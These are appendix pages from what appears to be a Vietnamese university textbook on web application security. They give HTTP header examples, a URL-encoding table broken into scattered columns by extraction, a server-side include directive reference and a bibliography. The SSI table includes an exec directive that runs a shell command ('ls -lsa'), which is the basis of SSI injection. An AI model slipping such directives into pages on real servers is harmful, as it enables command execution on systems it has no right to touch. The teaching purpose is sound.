Last-Modified Tue, 11 Jul 2000 18:23:51 GMT

Location http://localhost/redirecttarget.asp

Proxy-Authenticate [challenge]

Retry-After Tue, 11 Jul 2000 18:23:51 GMT hay 60

Server Microsoft-IIS/5.0

Vary Date

WWW-Authenticate [challenge]

Page 164: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 161-

• Các tham số thực thể có thề dùng trong HTTP request và HTTP response. Các tham

số này cho biết thông tin về phần thân, ví dụ như là chuẩn mã hoá được sử dụng.

Tên Giá trị ví dụAllow GET, HEAD

Content-Encoding Gzip

Content-Language En

Content-Length 8445

Content-Location http://localhost/page.asp

Content-MD5 [md5-digest]

Content-Range Bytes 2543-4532/7898

Content-Type text/html

Expires Tue, 11 Jul 2000 18:23:51 GMT

Last-Modified Tue, 11 Jul 2000 18:23:51 GMT

Page 165: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 162-

Phụ lục B: URL ENCODINGKí tự

Mã Hexaæ

backspace

tab

linefeed

c return

%00

%01

%02

%03

%04

%05

%06

%07

%08

%09

%0a

%0b

%0c

%0d

%0e

%0f

%10

%11

%12

%13

%14

%15

%16

%17

%18

%19

%1a

%1b

0

1

2

3

4

5

6

7

8

9

:

;

<

=

>

?

@

A

B

C

D

E

F

G

H

I

J

K

%30

%31

%32

%33

%34

%35

%36

%37

%38

%39

%3a

%3b

%3c

%3d

%3e

%3f

%40

%41

%42

%43

%44

%45

%46

%47

%48

%49

%4a

%4b

`

a

b

c

d

e

f

g

h

i

j

k

l

m

n

o

p

q

r

s

t

u

v

w

x

y

z

{

%60

%61

%62

%63

%64

%65

%66

%67

%68

%69

%6a

%6b

%6c

%6d

%6e

%6f

%70

%71

%72

%73

%74

%75

%76

%77

%78

%79

%7a

%7b

˜

š

œ

ž

Ÿ

¡

¢

£

¥

|

§

¨

©

ª

«

%90

%91

%92

%93

%94

%95

%96

%97

%98

%99

%9a

%9b

%9c

%9d

%9e

%9f

%a0

%a1

%a2

%a3

%a4

%a5

%a6

%a7

%a8

%a9

%aa

%ab

À

Á

Â

Ã

Ä

Å

Æ

Ç

È

É

Ê

Ë

Ì

Í

Î

Ï

Ð

Ñ

Ò

Ó

Ô

Õ

Ö

Ø

Ù

Ú

Û

%c0

%c1

%c2

%c3

%c4

%c5

%c6

%c7

%c8

%c9

%ca

%cb

%cc

%cd

%ce

%cf

%d0

%d1

%d2

%d3

%d4

%d5

%d6

%d7

%d8

%d9

%da

%db

ð

ñ

ò

ó

ô

õ

ö

÷

ø

ù

ú

û

ü

ý

þ

ÿ

%f0

%f1

%f2

%f3

%f4

%f5

%f6

%f7

%f8

%f9

%fa

%fb

%fc

%fd

%fe

%ff

Page 166: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 163-

space

!

"

#

$

%

&

'

(

)

*

+

,

-

.

/

%1c

%1d

%1e

%1f

%20

%21

%22

%23

%24

%25

%26

%27

%28

%29

%2a

%2b

%2c

%2d

%2e

%2f

L

M

N

O

P

Q

R

S

T

U

V

W

X

Y

Z

[

\

]

^

_

%4c

%4d

%4e

%4f

%50

%51

%52

%53

%54

%55

%56

%57

%58

%59

%5a

%5b

%5c

%5d

%5e

%5f

|

}

~

ƒ

ˆ

Š

Œ

Ž

%7c

%7d

%7e

%7f

%80

%81

%82

%83

%84

%85

%86

%87

%88

%89

%8a

%8b

%8c

%8d

%8e

%8f

¬

¯

®

¯

°

±

²

³

´

µ

·

¸

¹

º

»

¼

½

¾

¿

%ac

%ad

%ae

%af

%b0

%b1

%b2

%b3

%b4

%b5

%b6

%b7

%b8

%b9

%ba

%bb

%bc

%bd

%be

%bf

Ü

Ý

Þ

ß

à

á

â

ã

ä

å

æ

ç

è

é

ê

ë

ì

í

î

ï

%dc

%dd

%de

%df

%e0

%e1

%e2

%e3

%e4

%e5

%e6

%e7

%e8

%e9

%ea

%eb

%ec

%ed

%ee

%ef

Page 167: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 164-

Phụ lục C: SERVER SIDE INCLUDECâu lệnh SSI được chia làm 2 phần:

+ Câu lệnh

+ Câu lệnh điều khiển

Câu lệnh Ví dụ Tham số Giải thích

CONFIG <!--#config sizefmt="bytes" --> Sizefmt, datefmt điều khiển kích thước

file và ngày

COOKIE <!--#cookie if="C1"

then="hello" alt="bye"-->,

Get, alt, if, then lấy cookie trên trình

chủ

COUNT <!--#hitcount --> tổng số kết nối

ECHO <!--#echo reqheader="referer"

-->

Var, reqstate,

reqheader, here

hiển thị header yêu

cầu, biến

EXEC <!--#exec cmd="ls -lsa" --> Cmd thực thi câu lệnh

FLASHMOD <!--#flastmod-->

FSize <!--#fsize -->

INCLUDE <!--#include

file="included.html" -->

File, virtual,

ifheader, else

Chèn một file vào

trang hiện hành

JDBC <!--#jdbc select="SELECT *

FROM User"

Select, url,

name, column,

next, driver,

password, user

thực hiện câu truy vấn

SERVLET <!--#servlet name="Snoop"

param="p1" value="v1" -->

thực thi servlet với

những tham số

Câu lệnh điều khiển

Page 168: Bao mat ung_dung_web

Khoa CNTT

Phụ lục

-Trang 165-

COUNTER

ELSE <!--#else name="if2" --> Name

ENDIF <!--#endif name="if2" --> Name

ENDLOOP <!--#endloop name="loop2" --> Name

EXITLOOP <!--#exitloop name="loop2"

command="cpt" var="cpt1"

equals="4" -->

Name,

command, var,

equals

IF <!--#if name="if2"

command="cpt" var="cpt1"

equals="2" -->

Name,

command, var,

equals

LOOP <!--#loop name="loop2" --> Name

Page 169: Bao mat ung_dung_web

Khoa CNTT

Tài liệu tham khảo

-Trang 166-

TÀI LIỆU THAM KHẢO

• Hacking Exposed, Stuart McClure, Joel Scambray, George Kurtz

• RFC2617, J.Franks, P. Hallam-Baker, J.Hostetler, S. Lawrence, P. Leach, A.

Luotonen, L. Stewart – 06/1999

• http://www.sqlsecurity.com/

• http://www.nextgenss.com/papers/

• http://www.owasp.org/

• http://www.4guysfromrolla.com/webtech/

• http://www.guardent.com/

• http://www.idefense.com/

• http://www.jmu.edu/computing/info-security/engineering/issues/

• http://www.microsoft.com/technet/support/

• http://www.microsoft.com/technet/security/

• http://community.whitehatsec.com/

• http://www.codeproject.com/